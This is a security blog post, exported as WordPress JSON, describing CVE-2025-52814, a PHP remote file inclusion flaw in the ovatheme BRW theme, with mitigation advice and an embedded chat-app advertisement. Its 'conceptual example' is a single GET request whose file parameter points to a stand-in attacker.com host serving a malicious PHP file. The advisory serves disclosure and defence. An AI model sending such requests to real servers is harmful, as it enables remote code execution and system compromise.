{"id":57819,"date":"2025-07-06T10:39:38","date_gmt":"2025-07-06T10:39:38","guid":{"rendered":""},"modified":"2025-09-07T13:27:55","modified_gmt":"2025-09-07T19:27:55","slug":"cve-2025-52814-critical-php-remote-file-inclusion-vulnerability","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52814-critical-php-remote-file-inclusion-vulnerability\/","title":{"rendered":"<strong>CVE-2025-52814: Critical PHP Remote File Inclusion Vulnerability<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64969\">lead to a complete system compromise or data<\/a> leakage. Given the widespread usage of ovatheme BRW and the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52717-sql-injection-vulnerability-in-lifterlms-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"65490\">potential impact of this vulnerability<\/a>, it is of utmost importance that administrators and developers take note and implement the necessary mitigation strategies.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52814<br \/>\nSeverity: Critical (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54788-sql-injection-vulnerability-in-suitecrm-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"80241\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3139593592\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ovatheme BRW | n\/a through 1.7.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64439\">File Inclusion vulnerability<\/a> occurs when the &#8216;include&#8217; or &#8216;require&#8217; statements in PHP are manipulated to include files from a remote server. By exploiting this vulnerability, an attacker could include a malicious PHP script from a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29331-critical-remote-code-execution-vulnerability-in-mhsanaei-3x-ui\/\"  data-wpil-monitor-id=\"64968\">remote server and execute<\/a> it within the context of the affected application. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41668-critical-file-replacement-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"66286\">lead to unauthorized<\/a> access, data leakage, or even a complete system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1644898474\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-42959-unauthenticated-replay-attack-exploiting-hmac-reuse\/\"  data-wpil-monitor-id=\"77111\">attacker may exploit<\/a> this vulnerability. The attacker could manipulate a URL or form input field that takes in the name of a file to be included as part of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52207-critical-php-script-upload-vulnerability-in-mikopbx\/\"  data-wpil-monitor-id=\"65489\">PHP server-side scripting<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: vulnerablewebsite.com<\/code><\/pre>\n<p>In this example, the attacker tricks the server into including &#8216;malicious_file.php&#8217; from &#8216;attacker.com&#8217; instead of a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28990-critical-php-local-file-inclusion-vulnerability-in-sns-vicky\/\"  data-wpil-monitor-id=\"65808\">local file<\/a>. The server then <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64490\">executes this malicious file<\/a> leading to potential system compromise.<\/p>\n<p><strong> Recommended Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, the vendor has released a patch. All users of ovatheme BRW should promptly update their software to the latest version. Alternatively, as a temporary mitigation, users can implement Web Application Firewall (WAF) rules or Intrusion Detection System (IDS) to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77110\">detect and block attempts to exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. 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